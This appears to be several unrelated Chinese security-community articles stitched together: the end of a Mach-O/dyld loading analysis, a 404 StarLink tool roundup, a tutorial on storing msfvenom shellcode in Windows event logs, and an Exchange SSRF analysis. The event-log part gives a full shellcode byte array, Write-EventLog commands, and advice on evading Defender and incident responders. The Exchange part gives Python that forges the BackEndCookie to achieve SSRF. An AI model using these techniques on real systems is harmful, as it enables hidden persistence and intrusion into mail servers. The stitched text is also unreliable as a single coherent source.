Out](http://www.newosxbook.com/articles/CodeSigning.pdf)。使用jtool工具可以打印出详细的签名信息，如下所示:
$ jtool2 --sig -v main An embedded signature of 1953 bytes, with 3 blobs: Blob 0: Type: 0 @36: Code Directory (213 bytes) Version: 20100 Flags: none CodeLimit: 0x22c0 Identifier: main (@0x30) CDHash: f3d8c9a75487ecc6f3adbddca11ad987a171e8974e6df15e857d2ac962e4b886 (computed) # of hashes: 3 code (4K pages) + 2 special Hashes @117 size: 32 Type: SHA-256 Blob 1: Type: 2 @249: Requirement Set (80 bytes) with 1 requirement: Unknown opcode 14 - has Apple changed the op codes?Please notify J! 0: Designated Requirement (@20, 48 bytes): Ident(main) AND Blob 2: Type: 10000 @329: Blob Wrapper (1624 bytes) (0x10000 is CMS (RFC3852) signature) Timestamp: 00:12:38 2020/09/06
当然官方的`codesign -d`也可以。
### LC_DYLD_INFO_ONLY
这个Command的信息主要是提供给动态链接器`dyld`的，其结构如下:
struct dyld_info_command { uint32_t cmd; /* LC_DYLD_INFO or LC_DYLD_INFO_ONLY */ uint32_t cmdsize; /* sizeof(struct dyld_info_command) */ uint32_t rebase_off; /* file offset to rebase info */ uint32_t rebase_size; /* size of rebase info */ uint32_t bind_off; /* file offset to binding info */ uint32_t bind_size; /* size of binding info */ uint32_t weak_bind_off; /* file offset to weak binding info */ uint32_t weak_bind_size; /* size of weak binding info */ uint32_t lazy_bind_off; /* file offset to lazy binding info */ uint32_t lazy_bind_size; /* size of lazy binding infs */ uint32_t export_off; /* file offset to lazy binding info */ uint32_t export_size; /* size of lazy binding infs */ }
虽然看起来很复杂，但实际上它的目的就是为了给dyld提供能够加载目标MachO所需要的必要信息:
因为可能加载到随机地址，所以需要rebase信息；如果进程依赖其他镜像的符号，则绑定需要bind信息；对于C++程序而言可能需要weak
bind实现代码/数据复用；对于一些外部符号不需要立即绑定的可以延时加载，这就需要lazy bind信息；对于导出符号也需要对应的export信息。
为了描述这些rebase/bind信息，dyld定义了一套伪指令，用来描述具体的操作(opcode)及其操作数据。以延时绑定为例，操作符看起来是这样:
其表达的实际含义用中文来描述就是:
1. `_printf`符号(来自`libSystem.B.dylib`)延时绑定到`0x1018`偏移地址；
2. `_set_foo`符号(来自`libfoo.dylib`)延时绑定到`0x1020`偏移地址；
其中0x1018/0x1020地址在`__DATA`段，更准确来说是在`__la_symbol_ptr`这个section中，可以自行编译验证。
### LC_XXX_DYLIB
`LC_LOAD_{,WEAK_}DYLIB`用来告诉内核(实际上是dyld)当前可执行文件需要使用哪些动态库，而其结构如下:
struct dylib { union lc_str name; /* library's path name */ uint32_t timestamp; /* library's build time stamp */ uint32_t current_version; /* library's current version number */ uint32_t compatibility_version; /* library's compatibility vers number*/ }; struct dylib_command { uint32_t cmd; /* LC_ID_DYLIB, LC_LOAD_{,WEAK_}DYLIB, LC_REEXPORT_DYLIB */ uint32_t cmdsize; /* includes pathname string */ struct dylib dylib; /* the library identification */ };
动态库(filetype为`MH_DYLIB`)中会包含 `LC_ID_DYLIB` command
来说明自己是个什么库，包括名称、版本、时间戳等信息。需要注意的是`lc_str`并不是字符串本身，而是字符串的偏移值，字符串信息在command的内容之后，该偏移指的是距离
**command起始位置** 的偏移。
> `LC_REEXPORT_DYLIB`表示加载并重新导出dylib
### 其他
除了上面的介绍，还有许多其他类型的 command
，比如`LC_FUNCTION_STARTS`表示函数入口地址，`LC_MAIN`表示主函数地址，`LC_ENCRYPTION_INFO`表示加密的segment段等等，可以在遇到的时候用查看`loader.h`的定义，这里就不再赘述了。
# 加载过程
MachO的加载和ELF的加载过程没有太大区别，还是`系统调用->内核处理->返回执行`的一般流程，对于静态链接程序返回执行是直接返回到程序入口地址，而动态链接程序则需要在程序开始执行之前进行重定向，因此这里也按照这个顺序介绍。
## 内核空间
内核空间的主要任务是创建新taks并初始化内存页和对应的权限，我们主要关注MachO文件的处理部分，即`parse_machfile`函数，文件为[bsd/kern/mach_loader.c][src]，其主要功能为检查header以及cmdsize等长度符合预期，然后通过4次循环来处理不同的信息，如下:
/* * Scan through the commands, processing each one as necessary. * We parse in three passes through the headers: * 0: determine if TEXT and DATA boundary can be page-aligned * 1: thread state, uuid, code signature * 2: segments * 3: dyld, encryption, check entry point */
这里重点关注pass2，关键代码如下:
其中很多command比如`LC_LOAD_DYLIB`、`LC_DYLD_INFO_ONLY`等不在内核态中进行处理，直接进入default分支忽略。
### load_segment
这个函数主要负责加载segment到内存中，实现有几个值得一提的点:
* total_section_size = lcp->cmdsize - sizeof(struct segment_command_64)；这是文件后面section的大小
* LC_SEGMENT_32会转换为LC_SEGMENT_64，使用widen_segment_command
* 映射的内存地址是`slide + scp->vmaddr`，slide为随机化的地址偏移(如果有的话)，映射的内存大小是`scp->vmsize`
* 文件中对应内容起始位置是`scp->fileoff`，大小为`scp->filesize`
* file_offset = pager_offset + scp->fileoff，是该segment在内核空间中的地址，需要页对齐
* 对于0地址页的映射，由于用户空间不能访问，因此直接增加了vm能访问的最低地址值(vm_map_raise_min_offset)，仅允许对`PAGEZERO`段执行0地址的映射命令
对于映射的地址和大小，都需要是4k页对齐的，并且最终使用`map_segment`进行映射:
file_start = vm_map_trunc_page(file_offset, effective_page_mask); file_end = vm_map_round_page(file_offset + file_size, effective_page_mask); vm_start = vm_map_trunc_page(vm_offset, effective_page_mask); vm_end = vm_map_round_page(vm_offset + vm_size, effective_page_mask); ret = map_segment(map, vm_start, vm_end, control, file_start, file_end, initprot, maxprot, result);
根据对代码的分析，内核中并不关心具体section的内容，即不解析单个section头的具体字段，而是以segment为单位进行映射。一般而言映射的是具体内容的值，比如`__DATA`段就映射了数据段。前面也说过`__TEXT`段比较特别，它是从文件开头开始映射的，一直到代码段的末尾(数据段的开头)。
### load_code_signature
MachO和ELF的一个最大不同点，或者说XNU和Linux的不同点是前者原生支持了对可执行文件的签名认证，文件的签名信息保存在LINKEDIT数据段，在前面我们已经介绍过了`LC_CODE_SIGNATURE`的内容。
### load_dylinker
`load_main`函数主要用来处理`LC_MAIN`命令，这里面包括了可执行文件的入口地址以及栈大小信息。但是在内核中并不需要关心main函数信息，而只需要关心入口信息(entry_point)。因此在load_main中只对栈和线程进行初始化，并且修改对应的result信息:
result->user_stack = addr; result->user_stack -= slide; result->needs_dynlinker = TRUE; result->using_lcmain = TRUE; ret = thread_state_initialize( thread );
此时`result->entry_point`还是0(MACH_VM_MIN_ADDRESS)。
>
> 另外一个能决定入口地址的command是`LC_UNIXTHREAD`，类似于UNIX中直接将`start`符号导出，该符号应该是在`crt1.o`里的，但苹果并不默认提供。也就是说如果想要静态编译，需要自己下载源文件自己去编译，或者自己链接并导出这个符号。苹果不支持静态编译的原因是出于兼容性的考虑。
在load_main结束后，需要加载动态链接器:
/* Make sure if we need dyld, we got it */ if (result->needs_dynlinker && !dlp) { ret = LOAD_FAILURE; } if ((ret == LOAD_SUCCESS) && (dlp != 0)) { /* * load the dylinker, and slide it by the independent DYLD ASLR * offset regardless of the PIE-ness of the main binary. */ ret = load_dylinker(dlp, dlarchbits, map, thread, depth, dyld_aslr_offset, result, imgp); }
动态链接器就是`dyld`，在`LC_LOAD_DYLINKER`命令中指定，通常是`/usr/lib/dyld`。load_dylinker内部也同样调用了`parse_machfile`函数，因此大部分操作是类似的。注意到这里其实涉及到了递归调用，因此需要在该函数中加depth参数表示递归层数。
dyld文件中有`LC_UNIXTHREAD`命令，因此其`result->entry_point`将被设置，在原先的parse_mach返回到load_machfile后，则初始化新的内核task并将执行流交还给用户空间，对于大部分程序而言，就是跳转到dyld的起始地址执行。
## 用户空间
从内核回到用户空间，便跳转到目标的入口地址开始执行。对于静态链接链接程序，实际上执行的是dyld中的指令，该程序的源码可以参考[opensource-apple/dyld](https://github.com/opensource-apple/dyld)。
dyld的起始地址固定为`0x1000`，这个地址对应的符号是`__dyld_start`，文件定义在`src/dyldStartup.s`。这部分代码和`crt0.o`中的代码是一样的，主要是用来初始化C
Runtime，唯一的不同点是有个额外的参数用来指定MachO文件头的地址。
初始化完成后调用`call
__ZN13dyldbootstrap5startEPK12macho_headeriPPKclS2_Pm`，demangle之后为下面的函数:
// // This is code to bootstrap dyld. This work in normally done for a program by dyld and crt. // In dyld we have to do this manually. // uintptr_t start(const struct macho_header* appsMachHeader, int argc, const char* argv[], intptr_t slide, const struct macho_header* dyldsMachHeader, uintptr_t* startGlue) { // if kernel had to slide dyld, we need to fix up load sensitive locations // we have to do this before using any global variables if ( slide != 0 ) { rebaseDyld(dyldsMachHeader, slide); } // allow dyld to use mach messaging mach_init(); // kernel sets up env pointer to be just past end of agv array const char** envp = &argv[argc+1]; // kernel sets up apple pointer to be just past end of envp array const char** apple = envp; while(*apple != NULL) { ++apple; } ++apple; // set up random value for stack canary __guard_setup(apple); #if DYLD_INITIALIZER_SUPPORT // run all C++ initializers inside dyld runDyldInitializers(dyldsMachHeader, slide, argc, argv, envp, apple); #endif // now that we are done bootstrapping dyld, call dyld's main uintptr_t appsSlide = slideOfMainExecutable(appsMachHeader); return dyld::_main(appsMachHeader, appsSlide, argc, argv, envp, apple, startGlue); }
所以dyld真正的入口地址是`dyld::_main`，该函数的功能主要有:
1. 初始化上下文(setContext)
2. 将可执行文件的路径转为绝对路径
3. 处理环境变量
4. 判断是否需要加载共享缓存库，如果需要加载则直接映射到内存中(mapSharedCache)
5. 加载注入的动态库(sEnv.DYLD_INSERT_LIBRARIES)
6. 链接主程序(dyld::link)，实际上用的是虚函数`ImageLoader::link`
7. initializeMainExecutable: 运行初始化函数(`__mod_init_funcs`)
8. 执行最终的目标程序(LC_MAIN/LC_UNIXTHREAD)
最终目标程序正常执行，就像自己直接启动一样。下面挑几个比较关键的点进行深入分析。
### linking
链接是dyld的主要功能，执行实际动态链接功能的是link函数，除了链接待执行的目标程序，还链接所有插入的其他动态库:
// link main executable gLinkContext.linkingMainExecutable = true; link(sMainExecutable, sEnv.DYLD_BIND_AT_LAUNCH, true, ImageLoader::RPathChain(NULL, NULL)); // link any inserted libraries // do this after linking main executable so that any dylibs pulled in by inserted // dylibs (e.g. libSystem) will not be in front of dylibs the program uses if ( sInsertedDylibCount > 0 ) { for(unsigned int i=0; i < sInsertedDylibCount; ++i) { ImageLoader* image = sAllImages[i+1]; link(image, sEnv.DYLD_BIND_AT_LAUNCH, true, ImageLoader::RPathChain(NULL, NULL)); image->setNeverUnloadRecursive(); } // only INSERTED libraries can interpose // register interposing info after all inserted libraries are bound so chaining works for(unsigned int i=0; i < sInsertedDylibCount; ++i) { ImageLoader* image = sAllImages[i+1]; image->registerInterposing(); } }
而`dyld:link`使用的是具体ImageLoader的link多态实现:
void link(ImageLoader* image, bool forceLazysBound, bool neverUnload, const ImageLoader::RPathChain& loaderRPaths) { // add to list of known images. This did not happen at creation time for bundles if ( image->isBundle() && !image->isLinked() ) addImage(image); // we detect root images as those not linked in yet if ( !image->isLinked() ) addRootImage(image); // process images try { image->link(gLinkContext, forceLazysBound, false, neverUnload, loaderRPaths); } catch (const char* msg) { garbageCollectImages(); throw; } }
sMainExecutable的实现在开源代码中并没有给出，不过参考基类的默认实现如下:
void ImageLoader::link(const LinkContext& context, bool forceLazysBound, bool preflightOnly, bool neverUnload, const RPathChain& loaderRPaths) { //dyld::log("ImageLoader::link(%s) refCount=%d, neverUnload=%d\n", this->getPath(), fDlopenReferenceCount, fNeverUnload); // clear error strings (*context.setErrorStrings)(dyld_error_kind_none, NULL, NULL, NULL); uint64_t t0 = mach_absolute_time(); this->recursiveLoadLibraries(context, preflightOnly, loaderRPaths); context.notifyBatch(dyld_image_state_dependents_mapped); // we only do the loading step for preflights if ( preflightOnly ) return; uint64_t t1 = mach_absolute_time(); context.clearAllDepths(); this->recursiveUpdateDepth(context.imageCount()); uint64_t t2 = mach_absolute_time(); this->recursiveRebase(context); context.notifyBatch(dyld_image_state_rebased); uint64_t t3 = mach_absolute_time(); this->recursiveBind(context, forceLazysBound, neverUnload); uint64_t t4 = mach_absolute_time(); if ( !context.linkingMainExecutable ) this->weakBind(context); uint64_t t5 = mach_absolute_time(); context.notifyBatch(dyld_image_state_bound); uint64_t t6 = mach_absolute_time(); std::vector<DOFInfo> dofs; this->recursiveGetDOFSections(context, dofs); context.registerDOFs(dofs); uint64_t t7 = mach_absolute_time(); // interpose any dynamically loaded images if ( !context.linkingMainExecutable && (fgInterposingTuples.size() != 0) ) { this->recursiveApplyInterposing(context); } // clear error strings // ... }
主要做的就是这几步:
1. recursiveLoadLibraries
2. recursiveUpdateDepth
3. recursiveRebase
4. recursiveBind
5. weakBind
6. recursiveGetDOFSections
根据名字不难看出其作用，其中大部分函数名称带recursive，这是因为动态库本身也可能会依赖其他的动态库，因此需要递归进行处理(当然循环依赖会有对应的处理)。其中`recursiveUpdateDepth`不太直观，其实作用只是为了对镜像进行排序，被依赖的库会出现在依赖者之前。
### dyld_cache
在上面第4步中说到要加载共享缓存库，这是个什么东西呢？这一步的目的其实是为了加速动态库的加载过程。对于我们自己编译的macOS命令行程序可能还好，但是对于图形界面应用来说，每个应用启动时需要加载的动态库可能有上百个，而其中很大一部分是系统库，比如UIKit、Foundation等。因此苹果就事先把这些常用的库打包成缓存，程序启动时候直接映射到内存中，而无需逐个执行繁琐的处理和解析。
映射共享缓存库的函数为`mapSharedCache`，首先检查共享缓存库是否已经映射过:
static int __attribute__((noinline)) _shared_region_check_np(uint64_t* start_address) { if ( gLinkContext.sharedRegionMode == ImageLoader::kUseSharedRegion ) return syscall(294, start_address); return -1; }
294号系统调用定义在内核中(bsd/kern/syscalls.master):
294 AUE_NULL ALL { int shared_region_check_np(uint64_t *start_address) NO_SYSCALL_STUB; } 295 AUE_NULL ALL { int shared_region_map_np(int fd, uint32_t count, const struct shared_file_mapping_np *mappings) NO_SYSCALL_STUB; }
内核中的实现也比较简单，忽略错误检查，关键的代码如下:
int shared_region_check_np( __unused struct proc *p, struct shared_region_check_np_args *uap, __unused int *retvalp) { // ... shared_region = vm_shared_region_get(current_task()); if (shared_region != NULL) { /* retrieve address of its first mapping... */ kr = vm_shared_region_start_address(shared_region, &start_address); /* ... and give it to the caller */ error = copyout(&start_address, (user_addr_t) uap->start_address, sizeof (start_address)); // ... vm_shared_region_deallocate(shared_region); } }
其内部实现姑且不管，继续回到用户空间，所返回的地址可以强制转换为`dyld_cache_header`格式:
struct dyld_cache_header { char magic[16]; // e.g. "dyld_v0 i386" uint32_t mappingOffset; // file offset to first dyld_cache_mapping_info uint32_t mappingCount; // number of dyld_cache_mapping_info entries uint32_t imagesOffset; // file offset to first dyld_cache_image_info uint32_t imagesCount; // number of dyld_cache_image_info entries uint64_t dyldBaseAddress; // base address of dyld when cache was built uint64_t codeSignatureOffset; // file offset of code signature blob uint64_t codeSignatureSize; // size of code signature blob (zero means to end of file) uint64_t slideInfoOffset; // file offset of kernel slid info uint64_t slideInfoSize; // size of kernel slid info uint64_t localSymbolsOffset; // file offset of where local symbols are stored uint64_t localSymbolsSize; // size of local symbols information uint8_t uuid[16]; // unique value for each shared cache file uint64_t cacheType; // 1 for development, 0 for optimized };
检查共享缓存空间存在则直接复制其UUID到进程的`sharedCacheUUID`中，然后直接使用该缓存。
如果不存在，就需要进行创建，创建的过程如下:
1. 如果是x86环境，需要判断当前是否为安全启动模式，则会删除之前余留的cache文件，路径为`/var/db/dyld/dyld_shared_cache_$arch`
2. 打开sharedCache文件，对于IPhone路径为`/System/Library/Caches/com.apple.dyld/dyld_shared_cache_$arch`
3. 读取文件的前8192字节转换为`struct dyld_cache_header`，并做一些合法性检查
4. 处理cache文件，主要是将mapping信息提取出来，保存为一个数组`mappings[]`
5. 调用`_shared_region_map_and_slide_np`映射每个mapping
mapping信息如下:
struct dyld_cache_mapping_info { uint64_t address; uint64_t size; uint64_t fileOffset; uint32_t maxProt; uint32_t initProt; };
和之前提到的segment信息类似，没有feilsize，因为不存在padding。
`_shared_region_map_and_slide_np`函数分别处理每个mapping，并最终使用`mmap`来完成cache到内存的映射操作。
> 每个mapping info对应一个`struct
> shared_file_mapping_np`，但是这个结构体的定义在开源代码中没找到，并且在苹果文档中也进行了隐藏，见:
> <https://developer.apple.com/documentation/kernel/shared_file_mapping_np>
# 后记
本文通过对MachO文件的文件格式研究，介绍了MacOS和iOS中可执行文件的加载过程，从内核中的处理一直到动态连接器dyld的代码分析。可以看出MachO与ELF相比实现方式各有千秋，但是在内核中原生增加了对代码的签名和加密，其实ELF也很容易实现类似的功能，但开放系统需要更多考虑兼容性的问题，不像苹果可以大刀阔斧的随便改。
对于MachO的深入理解其实也有助于日常的相关研究，比如Apple
Store的加密实现以及代码签名的大致原理，还有针对dyld_cache的处理等，其中每一项都值得去深入挖掘。而且本文也没有介绍到全部的MachO特性，比如Objective-C相关的段，具体的实战部分后面有时间会再去整理一下。
# 参考资料
* [Overview of the Mach-O Executable Format](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CodeFootprint/Articles/MachOOverview.html)
* [Mach Object Files](http://www.cilinder.be/docs/next/NeXTStep/3.3/nd/DevTools/14_MachO/MachO.htmld/index.html)
* [apple/darwin-xnu](https://github.com/apple/darwin-xnu)
* [opensource-apple/dyld](https://github.com/opensource-apple/dyld)
* RTFSC
* * * | 社区文章 |
## 关于星链计划
「404星链计划」是知道创宇404实验室于2020年8月提出的开源项目收集计划，这个计划的初衷是将404实验室内部一些工具通过开源的方式发挥其更大的价值，也就是“404星链计划1.0”，这里面有为大家熟知的Pocsuite3、ksubdomain等等，很快我们就收到了许多不错的反馈。2020年11月，我们将目光投向了整个安全圈，以星链计划成员为核心，筛选优质、有意义、有趣、坚持维护的开源安全项目，为立足于不同安全领域的安全研究人员指明方向，也就是“404星链计划2.0”。为了更清晰地展示和管理星链计划的开源项目，2022年11月22日我们将1.0和2.0整合，推出改版后的「404星链计划」。
**Github地址：<https://github.com/knownsec/404StarLink>**
## 新项目发布
### 01 Antenna
**项目链接：**<https://github.com/wuba/Antenna>
**项目简介：**
Antenna是58同城安全团队打造的一款辅助安全从业人员辅助验证网络中多种漏洞是否存在以及可利用性的工具。其基于带外应用安全测试(
OAST)通过任务的形式，将不同漏洞场景检测能力通过插件的形式进行集合，通过与目标进行Out-of-bind的数据通信方式进行辅助检测。
**项目特点、亮点：**
* 基础版支持HTTP/DNS/RMI/LADP等协议请求监听组件
* 支持XSS\XXE\JSONP\SSRF以及自定义http返回资源等漏洞场景利用组件
* 良好的用户体验，支持平台多用户认证体系，支持团队协同使用
* 良好的隐匿性，包括但不限于自定义隐藏系统登录地址，以及提供隐匿性部署教程
* 强大的自定义组件，支持自定义开发组件，允许用户根据场景需求开发适合自己的平台组件
* 自定义消息通知接口，除常规的邮件通知以及OPENApi接口外，允许用户自定义消息通知接口，支持与自动化扫描工具进行能力打通
### 02 murphysec
**项目链接：**<https://github.com/murphysecurity/murphysec>
**项目简介：**
* 专业的软件成分分析（SCA）
* 许可证合规评估
* 代码漏洞检测
* 全准快的漏洞知识库
**项目特点、亮点：**
* 低成本接入开发流程：可以快速集成到 DevOps 的各个流程中
* 项目依赖信息分析：支持分析项目使用的依赖信息，包含直接依赖和间接依赖
* 支持语言丰富：Java、Javascript、Golang、Python等
### 03 appshark
**项目链接：**<https://github.com/bytedance/appshark>
**项目简介：**
appshark是字节内部孵化的专门针对安卓的安全隐私合规扫描引擎。在项目上马伊始，无恒实验室对业内自动化 App
漏洞检测工具进行了充分调研，最终发现这些工具或因为漏报、误报率太高导致需要消耗大量人力对扫描结果进行确认，或因为不开放源码导致无法根据特定的扫描需求进行定制化开发。为了能更好的实现高质量漏洞及隐私合规检测，无恒实验室自主研发了
appshark 引擎，用于漏洞及隐私合规风险的自动化检测。无恒实验室选择将这个引擎开源，成为一个公共的工具，希望吸引更多业界专家参与打磨，为企业及白帽子做
App 风险检测提供便利。
**项目特点、亮点：**
* 完整的指针分析，指针分析代价昂贵，但是这也保证了appshark整体结果可以有较高的准确率。
* 灵活的规则，灵活的source, sink, santizer，甚至有规则内的tainttweak，让结果更准确。
* 强大的配置选项，既可以通过[参数配置](https://github.com/bytedance/appshark/blob/main/doc/zh/argument.md "参数配置")，也可以通过[引擎配置](https://github.com/bytedance/appshark/blob/main/doc/zh/EngineConfig.md "引擎配置")，对引擎进行定制，在时间、空间和结果准确性之间做出平衡。
* 完整详细的数据流，结果中有详细的数据流，让你清晰的看出污点是如何一步一步从source 传播到sink。
## 加入我们
如果你的安全开源项目有意加入404星链计划，请在星链计划 Github 主页的 issue
提交项目申请：<https://github.com/knownsec/404StarLink/issues>
**提交格式如下：**
项目名称：
项目链接：
项目简介：
项目特点、亮点：
项目审核通过后，我们将发送邀请函邮件，项目正式加入404星链计划。
## 星际奇兵
404星链计划开源工具视频演示栏目【星际奇兵】第二期来了，跟我们一起快速上手这些优秀的安全工具吧！
> **视频链接：<https://www.bilibili.com/video/BV1eU4y1z7si/>**
> **第二期演示项目：HackBrowserData**
> 项目作者：moonD4rk
> 项目地址：<https://github.com/moonD4rk/HackBrowserData>
> 404星链计划地址：<https://github.com/knownsec/404StarLink>
关注我们B站（知道创宇404实验室），第一时间获取演示视频~
想要学习和交流开源安全工具的朋友可以加入404星链计划社群，请扫码识别运营菜菜子微信二维码，添加时备注“星链计划”。
* * * | 社区文章 |
# 巧用Windows事件日志“隐藏”载荷
# 背景
根据卡巴斯基发布的研究报告发现一项恶意活动，其中的技术涉及将shellcode直接放入Windows事件日志，Windows事件日志可以被攻击者用来掩盖特洛伊木马病毒的恶意使用。实现了”无文件”攻击技术，下面就利用该涉及的技术，简单尝试一下。
# 前置知识
## Windows事件日志
Windows默认事件日志查看器为eventvwr.msc，能实现简单的使用，Win+R键后输入eventvwr回车即能打开。Windows主要的日志在“Windows
日志”中，该文件夹中包含所有Windows系统上的五个标准类别。比较常用的Windows日志有系统日志、安全日志、应用程序日志这三个日志内容。
* 应用程序
* 安全
* Setup
* 系统
* Forwarded Events
事件查看器的另一个“应用程序和服务日志”文件夹里，包含Windows系统中其它各类重要服务组件的事件日志。Windows
PowerShell日志在该集合中。
Windows事件日志文件实际上是以特定的数据结构的方式存储内容，每条记录事件的数据结构由9个字段组成，包括日志名称、来源、记录时间、事件ID、任务类别、级别、计算机、事件数据（EventData）等信息。其中事件数据
**仅支持消息和二进制数据** 。
## 写入事件日志
我们可以使用PowerShell操作Windows事件日志，其中Write-EventLog命令可以将事件写入事件日志，参考微软官方文档，其中参数对应上面介绍的字段：
执行命令
Write-EventLog -LogName Application -Source edge -EventID 65535 -EntryType Information -Category 0 -Message "Hello World!"
在事件查看器中，可以看到事件ID为65535的日志成功创建在应用程序日志中，消息为Hello World!
# 简单复现
## 写 **入载荷**
只需在Write-EventLog中使用-RawData参数，就可以在事件日志字段中包含二进制数据，而且必须将二进制数据作为字节数组传到-RawData参数中。我们可以将其包含数据的十六进制字符串转换为字节数组，然后再传递。
首先，使用msfvenom生成弹计算器 payload。输出格式为十六进制字符串
利用工具网站转为字节数组
$data = [Byte[]](0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00)
使用密钥管理服务日志和KmsRequests作为源进行事件日志写入。
Write-EventLog -LogName 'Key Management Service' -Source KmsRequests -EventID 9999 -EntryType Information -Category 0 -Message "Hello World!" -RawData $data
执行后，Payload已成功存储到事件日志当中。于事件日志的详细信息就能查看到。
## 执行载荷
为了提取并执行写入的载荷，这边用非常简单的C++程序和Python脚本进行证明，代码放在[这里](https://github.com/ldsaiyan/EventLogPersist)。
用Visual Studio编译PoC代码后放在环境中执行，从”隐藏”在事件日志Key Management
Services的第一条日志中提取二进制载荷数据并且成功执行。过程中defender并未对其进行告警。
另外使用Python的win32evtlog实现读取事件日志内容，然后也用非常常见的shellcode注入技术执行该载荷。
同样成功执行隐藏在事件日志中的载荷：
可以看到，对Windows事件日志写入和读取Shellcode，都是使用合法的API调用，所以能借此很好的对载荷进行隐藏。作为一种持久化方法，还是能有更好的玩法。例如配合DLL搜索顺序劫持加载恶意代码等。
# 注意事项
## **用户限制**
事件日志的写入权限问题。为了能在事件日志条目中存储有效负载，我们拿到的权限必须要能写入日志。
## **大小限制**
需要注意的另一个限制是，事件日志中可以存储的数据量有大小限制。基于事件消息字符串的最大字符限制为31,839个字符。
## **更持久**
在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\对应的日志名称下的条目中，存在一个EventMessageFile属性。如果在注入载荷的时候，事件ID不存在于该属性指定的源关联的事件消息文件中，则会出现下图这个日志消息：
为了能够更加的持久化不被发现，事件ID和级别等字段都应该伪装成日常日志的样子，以免被应急人员察觉到异常。
参考：
<https://threatpost.com/attackers-use-event-logs-to-hide-fileless-malware/179484>
<https://securelist.com/a-new-secret-stash-for-fileless-malware/106393>
<https://learn.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-readeventloga> | 社区文章 |
**2021年04月14日，360CERT监测发现Microsoft发布了Exchange
安全更新的通告，本次安全更新修复了四个蠕虫级别的远程命令执行漏洞。漏洞编号为CVE-2021-28480,CVE-2021-28481,CVE-2021-28482,CVE-2021-28483，漏洞等级：严重，漏洞评分：9.8。**
分析：
补丁对比：补丁更改了部分代码，和26855一样 添加了对于fqdn的验证
通过研究代码，对比数据 ，发现访问某些位置的时候会生成BackendCookie,用来指定fqdn 这就和CVE-2021-26855有些相似了
这里的cookie是 由BackEndCookieEntryPaser.TryParse()方法进行处理
我们在这里进行断点，能截取到填入的加密值
由于我们是通过Anoymous的方式进行的访问，所以name的名字为Anonymous.
进入到TryParse方法
通过 UnObscurify 方法进行解码
进行了base64解码并异或解码
将这里的代码翻译成python 代码为
def code(str):
s=base64.b64decode(str)
array = list()
for i in s:
array.append(i ^ 255)
print("".join(list(map(chr,array))))
这里解密出来的形式为：`Server~WIN-64V4EOC0M9F.test.com~1941997017~2022-03-30T03:19:43`
当第一个参数为Server时 会将第二个参数作为Fqdn传入
而中间的`WIN-64V4EOC0M9F.test.com`跟Proxylogon一样 我们就可以进行修改
修改后 就会得到下面这样
但是，不是每个链接都能利用这个cookie
要处理它，有必要找到 BEServerCookieProxyRequestHandler 类的继承者
● AnonymousCalendarProxyRequestHandler
● ComplianceServiceProxyRequestHandler
● EwsAutodiscoverProxyRequestHandler
● MailboxDeliveryProxyRequestHandler
● MapiProxyRequestHandler
● MicroServiceProxyRequestHandler
● MrsProxyRequestHandler
● OabProxyRequestHandler
而且 owa ecp的处理代码中会有一个方法RedirectIfNeeded进行判断fqdn是否存在
我们最后选择使用 AnonymousCalendarProxyRequestHandler 来进行模拟
通过代码 找到他的加密代码Obscurify()
改为python代码为
def encode():
bytes = list(map(ord,"Server~WIN-64V4EOC0M9F.test.com/mapi/nspi?~1941997017~2022-04-21T07:36:07"))
array = list()
for i in bytes:
array.append(i ^ 255)
print(base64.b64encode(bytearray(array)).decode())
访问后成功ssrf
但是，在CVE-2021-26855以后，微软添加了另一部分代码来预防此类ssrf
